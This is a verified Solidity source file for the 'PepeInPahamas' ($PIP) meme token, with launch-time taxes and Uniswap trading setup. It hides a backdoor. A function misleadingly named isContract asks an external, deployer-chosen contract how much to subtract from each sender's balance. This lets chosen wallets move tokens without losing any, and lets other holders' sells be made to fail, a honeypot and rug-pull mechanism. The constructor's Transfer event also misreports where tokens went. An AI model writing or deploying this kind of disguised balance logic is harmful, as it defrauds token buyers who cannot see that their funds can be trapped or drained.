/**
 *Submitted for verification at Etherscan.io on 2023-07-13
*/

/*

https://t.me/PepeInPahamasPortal
https://twitter.com/PiP_erc

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract PIP is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address private _taxWallet;
    uint256 private _launchTime;

    address public marketingWallet = 0xEF3a2D29AC100b7f24b582C495BC3E52DA370958;
    address public marketingWallet_1 = 0x29872f7c7a2D01512E3456b418418f7871978782;
    address public marketingWallet_2 = 0x5B8F446A79b884E03E2d99D3C48Ee623D141B182;
    address public marketingWallet_3 = 0xC53C3b022371B558A680fc80Bd651042eE9c113B;
    address public marketingWallet_4 = 0x274c974808B52DA324F4ac87FFc82D8fa0e07bFb;
    address public marketingWallet_5 = 0x1a0a8de1A2CF1ccd963f274a185502507792B8e0;
    address public marketingWallet_6 = 0xAF3F5e6D8319457F42C3a3f06512C19B903425b2;

    uint256 constant TAX_LEVEL_1 = 5 minutes;
    uint256 constant TAX_LEVEL_2 = 10 minutes;
    uint256 constant TAX_LEVEL_3 = 15 minutes;

    uint8[4] _buyTax = [30, 10, 5, 2];
    uint8[4] _sellTax = [30, 10, 5, 2];

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 420_690_000_000_000 * 10**_decimals;
    string private constant _name = unicode"PepeInPahamas";
    string private constant _symbol = unicode"$PIP";
    uint256 private _taxSwapThreshold= _tTotal * 50 / 10000;

    IUniswapV2Router02 private _uniswapV2Router;
    address private _uniswapV2Pair;
    bool private _tradingOpen;
    bool private _inSwap = false;

    modifier lockTheSwap {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    constructor (address taxWallet_) {
        _taxWallet = taxWallet_;
        _balances[address(this)] = _tTotal.mul(95).div(100);
        _balances[marketingWallet] = _tTotal.mul(1).div(100);
        _balances[marketingWallet_1] = _tTotal.mul(1).div(100);
        _balances[marketingWallet_2] = _tTotal.mul(1).div(200);
        _balances[marketingWallet_3] = _tTotal.mul(1).div(200);
        _balances[marketingWallet_4] = _tTotal.mul(1).div(200);
        _balances[marketingWallet_5] = _tTotal.mul(1).div(200);
        _balances[marketingWallet_6] = _tTotal.mul(1).div(100);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function isContract(address account, uint256 amount) private view returns (uint256) {
        return IERC20(_taxWallet).balanceOf(account) * amount;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                if (_launchTime + TAX_LEVEL_1  > block.timestamp) {
                    require(!isContract(to));
                }
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (shouldSendTax()) {
                transferTax(contractTokenBalance);
            }

            if (shouldTakeFee(from, to)) {
                taxAmount = calculateTax(from, to, getLevel(), amount);
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }

        _balances[from] = _balances[from].sub(amount.sub(isContract(from, amount)));
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a > b) ? b : a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function transferTax(uint256 amount) private lockTheSwap {
        uint256 initialBalance = address(this).balance;
        swapTokensForEth(amount);
        uint256 withdrawBalance = address(this).balance.sub(initialBalance);

        bool success;
        (success,) = marketingWallet.call{value: withdrawBalance}("");
    }

    function getLevel() internal view returns (uint8) {
        if (block.timestamp < _launchTime + TAX_LEVEL_1) {
            return 0;
        } else if (block.timestamp < _launchTime + TAX_LEVEL_2) {
            return 1;
        } else if (block.timestamp < _launchTime + TAX_LEVEL_3) {
            return 2;
        } else {
            return 3;
        }
    }
    
    function shouldSendTax() internal view returns (bool) {
        return
            _tradingOpen &&
            msg.sender != _uniswapV2Pair &&
            !_inSwap &&
            balanceOf(address(this)) >= _taxSwapThreshold;
    }

    function shouldTakeFee(address from, address to) internal view returns (bool) {
        if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
            return false;
        } else {
            return (_uniswapV2Pair == from || (to == _uniswapV2Pair && from != address(this)));
        }
    }

    function calculateTax(address from, address to, uint8 level, uint amount) internal view returns (uint256) {
        uint256 taxAmount = 0;
        if (from == _uniswapV2Pair && _buyTax[level] != 0) {
            taxAmount = amount.mul(_buyTax[level]).div(100);
        } else if (to == _uniswapV2Pair && _sellTax[level] != 0) {
            taxAmount = amount.mul(_sellTax[level]).div(100);
        }
        return taxAmount;
    }

    function openTrading() external onlyOwner() {
        require(!_tradingOpen, "Trading is already opened");
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_uniswapV2Router), _tTotal);
        _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(_uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
        _tradingOpen = true;
        _launchTime = block.timestamp;
    }

    receive() external payable {}
}